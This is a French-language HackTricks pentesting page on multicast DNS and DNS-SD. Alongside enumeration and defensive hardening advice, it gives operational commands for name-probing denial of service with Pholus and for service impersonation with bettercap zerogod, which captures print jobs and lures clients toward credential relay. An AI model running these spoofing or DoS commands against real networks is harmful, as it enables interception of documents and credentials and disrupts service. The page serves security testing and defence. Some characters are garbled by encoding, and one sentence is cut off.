5353/UDP Multicast DNS (mDNS) et DNS-SD
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Multicast DNS (mDNS) permet la résolution de noms et la découverte de services semblables à DNS à l'intérieur d'un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). La découverte de services DNS (DNS-SD, généralement utilisée avec mDNS) fournit un moyen standardisé d'énumérer et de décrire les services via des enregistrements PTR, SRV et TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Détails clés du protocole que vous exploiterez souvent lors des attaques :
- Les noms dans la zone .local sont résolus via mDNS.
- Le bit QU (Query Unicast) peut demander des rĂ©ponses unicast mĂȘme pour des questions multicast.
- Les implémentations doivent ignorer les paquets non provenant du lien local ; certaines piles les acceptent encore.
- Le sondage/l'annonce impose des noms d'hÎtes/services uniques ; interférer ici crée des conditions de DoS/"name squatting".
ModĂšle de service DNS-SD
Les services sont identifiés comme _
Exploration et énumération du réseau
- scan cible nmap (mDNS direct sur un hĂŽte) :
nmap -sU -p 5353 --script=dns-service-discovery <target>
- découverte par diffusion nmap (écoutez le segment et énumérez tous les types/instances DNS-SD) :
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux) :
# Lister les types de service
avahi-browse -bt _services._dns-sd._udp
# Parcourir tous les services et résoudre en hÎte/port
avahi-browse -art
- Apple dns-sd (macOS) :
# Parcourir tous les services HTTP
dns-sd -B _http._tcp
# ĂnumĂ©rer les types de service
dns-sd -B _services._dns-sd._udp
# Résoudre une instance spécifique en SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Capture de paquets avec tshark :
# Capture en direct
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Seulement les requĂȘtes de liste de services DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Astuce : Certains navigateurs/WebRTC utilisent des noms d'hÎtes mDNS éphémÚres pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le fil, résolvez-les avec mDNS pour pivoter vers des IP locales.
Attaques
Interférence de sondage de nom mDNS (DoS / name squatting)
Pendant la phase de sondage, un hĂŽte vĂ©rifie l'unicitĂ© du nom. RĂ©pondre avec des conflits falsifiĂ©s l'oblige Ă choisir de nouveaux noms ou Ă Ă©chouer. Cela peut retarder ou empĂȘcher l'enregistrement et la dĂ©couverte de services.
Exemple avec Pholus :
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Usurpation de service et impersonation (MitM)
Imitez les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour forcer les clients à se connecter à vous. Cela est particuliÚrement utile pour :
- Capturer des documents en usurpant _ipp._tcp ou _printer._tcp.
- Attirer les clients vers des services HTTP/HTTPS pour récolter des tokens/cookies ou livrer des charges utiles.
- Combiner avec des techniques de relais NTLM lorsque les clients Windows négocient l'authentification avec des services usurpés.
Avec le module zerogod de bettercap (usurpateur/impersonateur mDNS/DNS-SD) :
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Aussi voir le spoofing LLMNR/NBNS/mDNS/WPAD générique et les workflows de capture/relais d'identifiants :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Remarques sur les problÚmes d'implémentation récents (utile pour DoS/persistente lors des engagements)
- Les bugs de crash d'Avahi reachable-assertion et D-Bus (2023) peuvent terminer avahi-daemon sur les distributions Linux (par exemple, CVE-2023-38469..38473, CVE-2023-1981), perturbant la découverte de services sur les hÎtes cibles jusqu'au redémarrage.
- Le DoS de la passerelle mDNS du contrÎleur LAN sans fil Cisco IOS XE (2024, CVE-2024-20303) permet aux attaquants adjacents de provoquer une forte utilisation du CPU et de déconnecter les points d'accÚs. Si vous rencontrez une passerelle mDNS entre les VLAN, soyez conscient de sa stabilité sous des mDNS malformés ou à haut débit.
Considérations défensives et OPSEC
- Limites de segment : Ne pas router 224.0.0.251/FF02::FB entre les zones de sécurité à moins qu'une passerelle mDNS ne soit explicitement requise. Si vous devez relier la découverte, préférez les listes d'autorisation et les limites de taux.
- Points de terminaison/serveurs Windows :
- Pour désactiver complÚtement la résolution de noms via mDNS, définissez la valeur du registre et redémarrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Dans les environnements gĂ©rĂ©s, dĂ©sactivez la rĂšgle intĂ©grĂ©e âmDNS (UDP-In)â du pare-feu Windows Defender (au moins sur le profil de domaine) pour empĂȘcher le traitement mDNS entrant tout en prĂ©servant la fonctionnalitĂ© domestique/itinĂ©rante.
- Sur les nouvelles versions de Windows 11/ modĂšles GPO, utilisez la politique âConfiguration de l'ordinateur > ModĂšles administratifs > RĂ©seau > Client DNS > Configurer le protocole DNS multicast (mDNS)â et dĂ©finissez-le sur DĂ©sactivĂ©.
- Linux (Avahi) :
- Limitez la publication lorsque ce n'est pas nécessaire : définissez
disable-publishing=yes
, et restreignez les interfaces avecallow-interfaces=
/deny-interfaces=
dans/etc/avahi/avahi-daemon.conf
. - Envisagez
check-response-ttl=yes
et évitezenable-reflector=yes
à moins que cela ne soit strictement nécessaire ; préférez les listes d'autorisationreflect-filters=
lors du reflet. - macOS : Restreindre le mDNS entrant aux pare-feu hÎte/réseau lorsque la découverte Bonjour n'est pas nécessaire pour des sous-réseaux spécifiques.
- Surveillance : Alertez sur des pics inhabituels dans les requĂȘtes
_services._dns-sd._udp.local
ou des changements soudains dans SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d'imitation de service.
Référence rapide des outils
- nmap NSE :
dns-service-discovery
etbroadcast-dns-service-discovery
. - Pholus : scan actif, balayages mDNS inversés, aides DoS et spoofing.
# Sniffing passif (secondes de timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# ĂnumĂ©rer les types de services
sudo python3 pholus3.py <iface> -sscan
# Envoyer des requĂȘtes mDNS gĂ©nĂ©riques
sudo python3 pholus3.py <iface> --request
# Balayage mDNS inversé d'un sous-réseau
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod : découvrir, sauvegarder, annoncer et imiter les services mDNS/DNS-SD (voir exemples ci-dessus).
Spoofing/MitM
L'attaque la plus intĂ©ressante que vous pouvez effectuer sur ce service est de rĂ©aliser un MitM dans la communication entre le client et le vĂ©ritable serveur. Vous pourriez ĂȘtre en mesure d'obtenir des fichiers sensibles (MitM la communication avec l'imprimante) ou mĂȘme des identifiants (authentification Windows).
Pour plus d'informations, consultez :
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Références
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (découverte mDNS/DNS-SD, spoofing, imitation)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.